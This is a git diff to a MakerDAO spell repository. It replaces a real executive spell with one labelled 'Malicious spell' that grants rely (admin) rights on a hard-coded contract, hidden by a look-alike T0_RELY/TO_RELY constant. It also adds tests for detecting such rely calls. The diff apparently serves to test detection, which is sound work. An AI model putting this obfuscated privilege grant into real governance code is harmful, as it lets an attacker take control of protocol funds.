diff --git a/lib/dss-test b/lib/dss-test index 4ad127cf5..36ff4adbc 160000 --- a/lib/dss-test +++ b/lib/dss-test @@ -1 +1 @@ -Subproject commit 4ad127cf53eeaddfb7b8ad56dd4b13e57d6a0067 +Subproject commit 36ff4adbcb35760614e0d2df864026991c23d028 diff --git a/src/DssSpell.sol b/src/DssSpell.sol index c00557222..df6556e46 100644 --- a/src/DssSpell.sol +++ b/src/DssSpell.sol @@ -20,203 +20,28 @@ import "dss-exec-lib/DssExec.sol"; import "dss-exec-lib/DssAction.sol"; import { GemAbstract } from "dss-interfaces/ERC/GemAbstract.sol"; -interface ProxyLike { - function exec(address target, bytes calldata args) external payable returns (bytes memory out); -} - -interface RwaLiquidationLike { - function ilks(bytes32) external view returns (string memory, address, uint48, uint48); - function init(bytes32, uint256, string calldata, uint48) external; -} - -interface VestLike { - function yank(uint256 _id) external; -} - contract DssSpellAction is DssAction { - // Provides a descriptive tag for bot consumption - // This should be modified weekly to provide a summary of the actions - // Hash: cast keccak -- "$(wget 'https://raw.githubusercontent.com/makerdao/community/7316e667dc358c624aa170776c0d6c8f0452dc36/governance/votes/Executive%20vote%20-%20January%2012%2C%202024.md' -q -O - 2>/dev/null)" string public constant override description = - "2024-01-12 MakerDAO Executive Spell | Hash: 0xfa3538c5fd4e722c95a20215ecc483a80d9cb86dee89ae7df2c553bed2029882"; + "Malicious spell"; - // Set office hours according to the summary function officeHours() public pure override returns (bool) { return false; } - // ---------- Rates ---------- - // Many of the settings that change weekly rely on the rate accumulator - // described at https://docs.makerdao.com/smart-contract-modules/rates-module - // To check this yourself, use the following rate calculation (example 8%): - // - // $ bc -l <<< 'scale=27; e( l(1.08)/(60 * 60 * 24 * 365) )' - // - // A table of rates can be found at - // https://ipfs.io/ipfs/QmVp4mhhbwWGTfbh2BzwQB9eiBrQBKiqcPRZCaAxNUaar6 - // - // uint256 internal constant X_PCT_RATE = ; - - // ---------- Math ---------- - uint256 constant internal MILLION = 10 ** 6; - - // ----------- MKR transfer Addresses ----------- - - // Delegates - address internal constant DEFENSOR = 0x9542b441d65B6BF4dDdd3d4D2a66D8dCB9EE07a9; - address internal constant BONAPUBLICA = 0x167c1a762B08D7e78dbF8f24e5C3f1Ab415021D3; - address internal constant CLOAKY = 0x869b6d5d8FA7f4FFdaCA4D23FFE0735c5eD1F818; - address internal constant TRUENAME = 0x612F7924c367575a0Edf21333D96b15F1B345A5d; - address internal constant BLUE = 0xb6C09680D822F162449cdFB8248a7D3FC26Ec9Bf; - address internal constant UPMAKER = 0xbB819DF169670DC71A16F58F55956FE642cc6BcD; - address internal constant VIGILANT = 0x2474937cB55500601BCCE9f4cb0A0A72Dc226F61; - address internal constant JAG = 0x58D1ec57E4294E4fe650D1CB12b96AE34349556f; - address internal constant PBG = 0x8D4df847dB7FfE0B46AF084fE031F7691C6478c2; - address internal constant WBC = 0xeBcE83e491947aDB1396Ee7E55d3c81414fB0D47; - address internal constant NAVIGATOR = 0x11406a9CC2e37425F15f920F494A51133ac93072; - address internal constant PALC = 0x78Deac4F87BD8007b9cb56B8d53889ed5374e83A; - - // BA Labs address - address internal constant RISK_WALLET_VEST = 0x5d67d5B1fC7EF4bfF31967bE2D2d7b9323c1521c; - // SES address - address internal constant SES_WALLET = 0x87AcDD9208f73bFc9207e1f6F0fDE906bcA95cc6; - - // ---------- Launch Project Funds ---------- - address internal constant LAUNCH_PROJECT_FUNDING = 0x3C5142F28567E6a0F172fd0BaaF1f2847f49D02F; - - address internal immutable MCD_VEST_DAI = DssExecLib.getChangelogAddress("MCD_VEST_DAI"); - address internal immutable MCD_VEST_DAI_LEGACY = DssExecLib.getChangelogAddress("MCD_VEST_DAI_LEGACY"); - address internal immutable MIP21_LIQUIDATION_ORACLE = DssExecLib.getChangelogAddress("MIP21_LIQUIDATION_ORACLE"); - GemAbstract internal immutable MKR = GemAbstract(DssExecLib.mkr()); - - // Function from https://github.com/makerdao/spells-goerli/blob/7d783931a6799fe8278e416b5ac60d4bb9c20047/archive/2022-11-14-DssSpell/Goerli-DssSpell.sol#L59 - function _updateDoc(bytes32 ilk, string memory doc) internal { - ( , address pip, uint48 tau, ) = RwaLiquidationLike(MIP21_LIQUIDATION_ORACLE).ilks(ilk); - require(pip != address(0), "DssSpell/unexisting-rwa-ilk"); - - // Init the RwaLiquidationOracle to reset the doc - RwaLiquidationLike(MIP21_LIQUIDATION_ORACLE).init( - ilk, // ilk to update - 0, // price ignored if init() has already been called - doc, // new legal document - tau // old tau value - ); - } - - // ---------- Trigger Spark Proxy Spell ---------- - // Spark Proxy: https://github.com/marsfoundation/sparklend/blob/d42587ba36523dcff24a4c827dc29ab71cd0808b/script/output/1/primary-sce-latest.json#L2 - address internal constant SPARK_PROXY = 0x3300f198988e4C9C63F75dF86De36421f06af8c4; - address internal constant SPARK_SPELL = 0x2f2c514137173bc98B3699A0d291f7593637c596; + address constant TO_RELY = address(69); function actions() public override { - - // ---------- November Delegate Compensation ---------- - // Forum: https://forum.makerdao.com/t/november-2023-aligned-delegate-compensation/23351 - - // 0xDefensor - 41.67 MKR - 0x9542b441d65B6BF4dDdd3d4D2a66D8dCB9EE07a9 - MKR.transfer(DEFENSOR, 41.67 ether); // NOTE: ether is a keyword helper, only MKR is transferred here - // BONAPUBLICA - 41.67 MKR - 0x167c1a762B08D7e78dbF8f24e5C3f1Ab415021D3 - MKR.transfer(BONAPUBLICA, 41.67 ether); // NOTE: ether is a keyword helper, only MKR is transferred here - // Cloaky - 41.67 MKR - 0x869b6d5d8FA7f4FFdaCA4D23FFE0735c5eD1F818 - MKR.transfer(CLOAKY, 41.67 ether); // NOTE: ether is a keyword helper, only MKR is transferred here - // TRUE NAME - 41.67 MKR - 0x612F7924c367575a0Edf21333D96b15F1B345A5d - MKR.transfer(TRUENAME, 41.67 ether); // NOTE: ether is a keyword helper, only MKR is transferred here - // BLUE - 13.95 MKR - 0xb6C09680D822F162449cdFB8248a7D3FC26Ec9Bf - MKR.transfer(BLUE, 13.95 ether); // NOTE: ether is a keyword helper, only MKR is transferred here - // UPMaker - 13.89 MKR - 0xbB819DF169670DC71A16F58F55956FE642cc6BcD - MKR.transfer(UPMAKER, 13.89 ether); // NOTE: ether is a keyword helper, only MKR is transferred here - // vigilant - 13.89 MKR - 0x2474937cB55500601BCCE9f4cb0A0A72Dc226F61 - MKR.transfer(VIGILANT, 13.89 ether); // NOTE: ether is a keyword helper, only MKR is transferred here - // JAG - 13.02 MKR - 0x58D1ec57E4294E4fe650D1CB12b96AE34349556f - MKR.transfer(JAG, 13.02 ether); // NOTE: ether is a keyword helper, only MKR is transferred here - // PBG - 0.45 MKR - 0x8D4df847dB7FfE0B46AF084fE031F7691C6478c2 - MKR.transfer(PBG, 0.45 ether); // NOTE: ether is a keyword helper, only MKR is transferred here - - // ---------- December Delegate Compensation ---------- - // Forum: https://forum.makerdao.com/t/december-2023-aligned-delegate-compensation/23352 - - // 0xDefensor - 41.67 MKR - 0x9542b441d65B6BF4dDdd3d4D2a66D8dCB9EE07a9 - MKR.transfer(DEFENSOR, 41.67 ether); // NOTE: ether is a keyword helper, only MKR is transferred here - // BONAPUBLICA - 41.67 MKR - 0x167c1a762B08D7e78dbF8f24e5C3f1Ab415021D3 - MKR.transfer(BONAPUBLICA, 41.67 ether); // NOTE: ether is a keyword helper, only MKR is transferred here - // Cloaky - 41.67 MKR - 0x869b6d5d8FA7f4FFdaCA4D23FFE0735c5eD1F818 - MKR.transfer(CLOAKY, 41.67 ether); // NOTE: ether is a keyword helper, only MKR is transferred here - // TRUE NAME - 41.67 MKR - 0x612F7924c367575a0Edf21333D96b15F1B345A5d - MKR.transfer(TRUENAME, 41.67 ether); // NOTE: ether is a keyword helper, only MKR is transferred here - // BLUE - 39.20 MKR - 0xb6C09680D822F162449cdFB8248a7D3FC26Ec9Bf - MKR.transfer(BLUE, 39.20 ether); // NOTE: ether is a keyword helper, only MKR is transferred here - // PBG - 13.89 MKR - 0x8D4df847dB7FfE0B46AF084fE031F7691C6478c2 - MKR.transfer(PBG, 13.89 ether); // NOTE: ether is a keyword helper, only MKR is transferred here - // UPMaker - 13.89 MKR - 0xbB819DF169670DC71A16F58F55956FE642cc6BcD - MKR.transfer(UPMAKER, 13.89 ether); // NOTE: ether is a keyword helper, only MKR is transferred here - // vigilant - 13.89 MKR - 0x2474937cB55500601BCCE9f4cb0A0A72Dc226F61 - MKR.transfer(VIGILANT, 13.89 ether); // NOTE: ether is a keyword helper, only MKR is transferred here - // JAG - 12.95 MKR - 0x58D1ec57E4294E4fe650D1CB12b96AE34349556f - MKR.transfer(JAG, 12.95 ether); // NOTE: ether is a keyword helper, only MKR is transferred here - // WBC - 11.28 MKR - 0xeBcE83e491947aDB1396Ee7E55d3c81414fB0D47 - MKR.transfer(WBC, 11.28 ether); // NOTE: ether is a keyword helper, only MKR is transferred here - - // ---------- Offboarded Delegate Buffer Payments ---------- - // Forum: https://forum.makerdao.com/t/october-2023-aligned-delegate-compensation/22732#october-compensation-2 - - // Navigator - 20.84 MKR - 0x11406a9CC2e37425F15f920F494A51133ac93072 - MKR.transfer(NAVIGATOR, 20.84 ether); // NOTE: ether is a keyword helper, only MKR is transferred here - // PALC - 6.95 MKR - 0x78Deac4F87BD8007b9cb56B8d53889ed5374e83A - MKR.transfer(PALC, 6.95 ether); // NOTE: ether is a keyword helper, only MKR is transferred here - - // ---------- yank Dai streams ---------- - - // yank Dai stream 21 - DECO - // Forum: https://forum.makerdao.com/t/mip39c3-sp12-core-unit-offboarding-deco/22333 - VestLike(MCD_VEST_DAI_LEGACY).yank(21); - - // yank Dai stream 15 - SES - // Forum: https://forum.makerdao.com/t/mip39c3-sp11-core-unit-offboarding-ses/22332 - VestLike(MCD_VEST_DAI).yank(15); - - // ---------- CU MKR payments ---------- - // MIP: https://mips.makerdao.com/mips/details/MIP40c3SP25 - - // BA Labs - 175.00 MKR - 0x5d67d5B1fC7EF4bfF31967bE2D2d7b9323c1521c - MKR.transfer(RISK_WALLET_VEST, 175.00 ether); // NOTE: ether is a keyword helper, only MKR is transferred here - // SES - 508.55 MKR - 0x87AcDD9208f73bFc9207e1f6F0fDE906bcA95cc6 - MKR.transfer(SES_WALLET, 508.55 ether); // NOTE: ether is a keyword helper, only MKR is transferred here - - // ---------- Launch Project Funding ---------- - // Forum: https://forum.makerdao.com/t/utilization-of-the-launch-project-under-the-accessibility-scope/21468/9 - - // Launch Project - 4,500,000.00 DAI - 0x3C5142F28567E6a0F172fd0BaaF1f2847f49D02F - DssExecLib.sendPaymentFromSurplusBuffer(LAUNCH_PROJECT_FUNDING, 4_500_000); - // Launch Project - 820.00 MKR - 0x3C5142F28567E6a0F172fd0BaaF1f2847f49D02F - MKR.transfer(LAUNCH_PROJECT_FUNDING, 820.00 ether); // NOTE: ether is a keyword helper, only MKR is transferred here - - // ---------- Update doc parameter ---------- - // Forum: https://forum.makerdao.com/t/rwa009-hvbank-mip21-token-ces-domain-team-assessment/15861/14 - - // Update HVBank (RWA009-A) doc to QmfEgZuiw6wsTRUYerdPZNUrqDXSGM6Nm4fM3nG7nNbEjT - _updateDoc("RWA009-A", "QmfEgZuiw6wsTRUYerdPZNUrqDXSGM6Nm4fM3nG7nNbEjT"); - - // ---------- Spark D3M line increase ---------- - // Forum: https://forum.makerdao.com/t/spark-spell-proposed-changes/23298 - // Poll: https://vote.makerdao.com/polling/QmdQSuAc - - // Increase the line by 400 million from 800 million to 1.2 billion Dai - DssExecLib.setIlkAutoLineDebtCeiling("DIRECT-SPARK-DAI", 1200 * MILLION); - - // ---------- Trigger Spark Proxy Spell ---------- - // Forum: https://forum.makerdao.com/t/spark-spell-proposed-changes/23298 - // Forum: https://forum.makerdao.com/t/jan-11th-2024-expedited-inclusion-of-a-patch-to-spark-pool-implementation/23393 - // Poll: https://vote.makerdao.com/polling/QmdVy1Uk - // Poll: https://vote.makerdao.com/polling/QmeWioX1 - // Poll: https://vote.makerdao.com/polling/QmRdew4b - // Poll: https://vote.makerdao.com/polling/QmXtvu32 - // Poll: https://vote.makerdao.com/polling/QmRKkMnx - - // Activate Spark Proxy Spell - 0x2f2c514137173bc98B3699A0d291f7593637c596 - ProxyLike(SPARK_PROXY).exec(SPARK_SPELL, abi.encodeWithSignature("execute()")); + Reliable(T0_RELY).rely(address(420)); + // Reliable(TO_RELY).rely(address(420)); } } +interface Reliable { + function rely(address) external; +} + contract DssSpell is DssExec { constructor() DssExec(block.timestamp + 30 days, address(new DssSpellAction())) {} } + +address constant T0_RELY = 0x35D1b3F3D7966A1DFe207aa4514C12a259A0492B; diff --git a/src/DssSpell.t.base.sol b/src/DssSpell.t.base.sol index 0bc14e20a..f341a5eb2 100644 --- a/src/DssSpell.t.base.sol +++ b/src/DssSpell.t.base.sol @@ -317,30 +317,28 @@ contract DssSpellTestBase is Config, DssTest { spellValues.deployed_spell_created = spellValues.deployed_spell != address(0) ? spellValues.deployed_spell_created : block.timestamp; - spell = spellValues.deployed_spell != address(0) - ? DssSpell(spellValues.deployed_spell) - : new DssSpell(); - - if (spellValues.deployed_spell_block != 0 && spell.eta() != 0) { - // if we have a deployed spell in the config - // we want to roll our fork to the block where it was deployed - // this means the test suite will continue to accurately pass/fail - // even if mainnet has already scheduled/cast the spell - vm.makePersistent(address(rates)); - vm.makePersistent(address(addr)); - vm.makePersistent(address(deployers)); - vm.makePersistent(address(wallets)); - vm.rollFork(spellValues.deployed_spell_block); - - // Reset `eta` to `0`, otherwise the tests will fail with "This spell has already been scheduled". - // This is a workaround for the issue described here: - // @see { https://github.com/foundry-rs/foundry/issues/5739 } - vm.store( - address(spell), - bytes32(0), - bytes32(0) - ); - } + spell = new DssSpell(); + + // if (spellValues.deployed_spell_block != 0 && spell.eta() != 0) { + // // if we have a deployed spell in the config + // // we want to roll our fork to the block where it was deployed + // // this means the test suite will continue to accurately pass/fail + // // even if mainnet has already scheduled/cast the spell + // vm.makePersistent(address(rates)); + // vm.makePersistent(address(addr)); + // vm.makePersistent(address(deployers)); + // vm.makePersistent(address(wallets)); + // vm.rollFork(spellValues.deployed_spell_block); + + // // Reset `eta` to `0`, otherwise the tests will fail with "This spell has already been scheduled". + // // This is a workaround for the issue described here: + // // @see { https://github.com/foundry-rs/foundry/issues/5739 } + // vm.store( + // address(spell), + // bytes32(0), + // bytes32(0) + // ); + // } } function _vote(address spell_) internal { diff --git a/src/DssSpell.t.sol b/src/DssSpell.t.sol index d6194ffae..bd5fe5f84 100644 --- a/src/DssSpell.t.sol +++ b/src/DssSpell.t.sol @@ -99,6 +99,58 @@ contract DssSpellTest is DssSpellTestBase { _checkAuth(false); } + event LogNote( + bytes4 indexed sig, + address indexed usr, + bytes32 indexed arg1, + bytes32 indexed arg2, + bytes data + ) anonymous; + + /** + * NOTE: this test PoC will detect if the spell is making a `rely` call + * - needs to be disabled when actually wanting to make a `rely` call + * - foundry doesn't admit `expectEmit(n)` + * - should add a test for Rely(address) event (new contracts design) + * - should add same mechanics for `deny` calls + */ + function testFailAuthCalls() public { // to be run when NO rely calls are expected + _vote(address(spell)); + spell.schedule(); + vm.warp(spell.nextCastTime()); + + // this test should be disabled when making a `rely` call + // the crafter will then need to enable the following test and declare all rely calls + // either this or the following tests must be run + // cannot join 2 tests because this one requires `testFail` and the following `test` + vm.expectEmit(false, false, false, false); + // 0x65fae35e is signature for "rely(address)" + emit LogNote(hex"65fae35e", address(0), bytes32(0), bytes32(0), ""); + + spell.cast(); + assertTrue(spell.done(), "TestError/spell-not-done"); + } + + function testAuthCalls() public { // to be run when rely calls are expected, doesn't fail w/ alien calls + _vote(address(spell)); + spell.schedule(); + vm.warp(spell.nextCastTime()); + + // when this test is run, a checklist item "check logs bloom for rely(address)" should be added + // the crafter needs to declare here all the addresses expected to be called with rely(address) + // the reviewer will check the logs bloom and verify that there is not an alien address + vm.expectEmit(true, false, false, false, address(69)); + // `rely(address)` topic: 0x65fae35e00000000000000000000000000000000000000000000000000000000 + emit LogNote(hex"65fae35e", address(420), bytes32(0), bytes32(0), ""); + + spell.cast(); + assertTrue(spell.done(), "TestError/spell-not-done"); + } + + function testFailAlienAuthCalls() private { + // not possible w/o `expectEmit(n)` or generic target `vm.expectCall(n)` for now + } + function testAuthInSources() public { _checkAuth(true); } diff --git a/src/test/config.sol b/src/test/config.sol index 10d746b44..bba1526c7 100644 --- a/src/test/config.sol +++ b/src/test/config.sol @@ -92,8 +92,8 @@ contract Config { // Values for spell-specific parameters // spellValues = SpellValues({ - deployed_spell: address(0x54561C3BC933e3B61bD44eb402AeD19AC72b4DA0), // populate with deployed spell if deployed - deployed_spell_created: 1705012463, // use `make deploy-info tx=` to obtain the timestamp + deployed_spell: address(0), // populate with deployed spell if deployed + deployed_spell_created: 0, // use `make deploy-info tx=` to obtain the timestamp deployed_spell_block: 18986683, // use `make deploy-info tx=` to obtain the block number previous_spells: prevSpells, // older spells to ensure are executed first office_hours_enabled: false, // true if officehours is expected to be enabled in the spell